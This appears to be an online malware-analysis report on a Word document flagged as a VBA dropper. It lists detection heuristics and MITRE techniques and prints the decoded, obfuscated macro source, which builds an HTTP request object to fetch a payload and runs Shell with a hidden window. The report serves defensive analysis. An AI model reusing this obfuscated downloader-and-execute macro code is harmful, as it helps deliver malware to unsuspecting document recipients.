MALICIOUS
250
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1203 Exploitation for Client Execution
The sample contains VBA macros that utilize `CreateObject` to instantiate `MSXML2.ServerXMLHTTP` and make HTTP GET requests to download a payload. The presence of `AutoOpen` and `CreateObject` calls, along with the ClamAV detection of 'Doc.Dropper.Agent', strongly suggests a dropper functionality. The macro attempts to obfuscate its actions with junk variables and string concatenation.
Heuristics 8
-
ClamAV: Doc.Dropper.Agent-1616653 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-1616653
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
hqwdugqw = Shell(hasdgja, 0) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set Kjqiwdhqwuhdjqkwhdjkqwbd = CreateObject(BQDHJQWDGWQJGS) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
Goabc = Environ(sps) -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3758 bytes |
SHA-256: a19c40059f9c8bac7a7130a3c33cf827962d4d7ba04d3d7a3f5189affae39aba |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Public Function Xjdkhjfwefw(a As Object)
Xjdkhjfwefw = (a.responseText)
End Function
Attribute VB_Name = "Module2"
Public Function Goabc(sps As String)
NJKQWHDJKWQ = "h2ejk 12ehh1jge j12gehj1"
NJKQWHDJKWQ = "h2ejk 12ehh1jge j12gehj1"
NJKQWHDJKWQ = "h2ejk 12ehh1jge j12gehj1"
Goabc = Environ(sps)
End Function
Public Function Linolium(nbqjbdjqw As String)
Dim dhjqwqkjww As Integer, aaqjwhdq As Integer, Kjqiwdhqwuhdjqkwhdjkqwbd As Object, AHUDWQI As String
Dim ashdUHhda As String, hausd As Integer
ashdUHhda = nbqjbdjqw
hausd = Tan(12)
BQDHJQWDGWQJGS = "MS" + Chr(93 + 5 * hausd) + "ML2.ServerXMLH" & Chr(85 + hausd) & Chr(84) & Chr(80)
'MsgBox (BQDHJQWDGWQJGS)
Set Kjqiwdhqwuhdjqkwhdjkqwbd = CreateObject(BQDHJQWDGWQJGS)
Kjqiwdhqwuhdjqkwhdjkqwbd.Open "GE" & "" & "T", ashdUHhda
Kjqiwdhqwuhdjqkwhdjkqwbd.Send (AHUDWQI)
Linolium = Module1.Xjdkhjfwefw(Kjqiwdhqwuhdjqkwhdjkqwbd)
End Function
Sub Crispy(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub
Attribute VB_Name = "Module3"
Public Function India(dnuwhd As String, b As String, c As Integer)
Dim kelTefjsd As String
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
Dim ttrejiojfsdlkjfkldjhetttjshkfjdsh As Range, behjasdbhjsajdgqhjwgdq As Range
Set ttrejiojfsdlkjfkldjhetttjshkfjdsh = ActiveDocument.Range
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
With ttrejiojfsdlkjfkldjhetttjshkfjdsh.Find
'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
.Text = dnuwhd
.MatchWholeWord = True
ttrejiojfsdlkjfkldjhetttjshkfjdsh.Find.Execute
ttrejiojfsdlkjfkldjhetttjshkfjdsh.Collapse direction:=wdCollapseEnd
Dim wdwq As String
Set behjasdbhjsajdgqhjwgdq = ActiveDocument.Range
Dim wdsadwq As String
behjasdbhjsajdgqhjwgdq.Start = ttrejiojfsdlkjfkldjhetttjshkfjdsh.End
.Text = b
.MatchWholeWord = True
.Execute
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
ttrejiojfsdlkjfkldjhetttjshkfjdsh.Collapse direction:=wdCollapseStart
behjasdbhjsajdgqhjwgdq.End = ttrejiojfsdlkjfkldjhetttjshkfjdsh.Start
If (c = 1) Then
kelTefjsd = behjasdbhjsajdgqhjwgdq.Delete
End If
If (c = 2) Then
behjasdbhjsajdgqhjwgdq.Font.Color = wdColorBlack
End If
Dim hduwaa As Integer
hduwaa = 1 - 2 ^ 4
QHUDW = Chr(10 + 23 + Sgn(hduwaa))
If (c = 3) Then
With ttrejiojfsdlkjfkldjhetttjshkfjdsh.Find
.Text = a
.Replacement.Text = QHUDW
'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
'NJQKWNDJWQD = "2k3h kr23kj23h rkj23 ghrj32g wlijflsdkj flkj sdlkjfwhfe"
.Wrap = wdFindContinue
.Execute Replace:=wdReplaceAll
End With
End If
End With
End Function
Public Function HowEver(hqwdugqw As Variant, hasdgja)
NJBDW = "wndm 21jhjg21 21"
hqwdugqw = Shell(hasdgja, 0)
HowEver = hqwdugqw
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.